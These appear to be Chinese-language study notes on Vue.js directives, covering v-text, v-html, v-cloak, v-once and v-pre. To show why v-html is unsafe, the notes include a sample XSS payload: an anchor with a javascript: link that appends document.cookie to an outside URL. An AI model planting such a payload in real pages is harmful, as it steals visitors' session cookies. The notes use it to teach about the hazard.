v-text - 插入文本

<h2 v-text="name"></h2>
<!--拿到name的值，替换掉整个h2里面的内容-->

v-html - 插入可执行html代码

有安全性问题。

打印cookie

console.log(document.cookie)

传递cookie

str: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>点我</a>'

v-cloak

vue一加载就会将v-cloak这个属性移除。

可以搭配CSS的属性选择器解决Vue未加载时，页面显示异常的情况。

<!-- CSS -->
<style>
    /* 属性选择器 */
    [v-cloak] {
        display: none;
    }
</style>
<!-- JS -->
<div id="root">
    <h2 v-cloak>Hello, {{name}}!</h2>
</div>
<script src="https://lf3-cdn-tos.bytecdntp.com/cdn/expire-1-M/vue/2.6.14/vue.js"></script>
<script>

v-once

v-once所在节点在初次动态渲染后，就视为静态内容了。以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

v-pre

跳过其所在节点的编译过程，加快编译。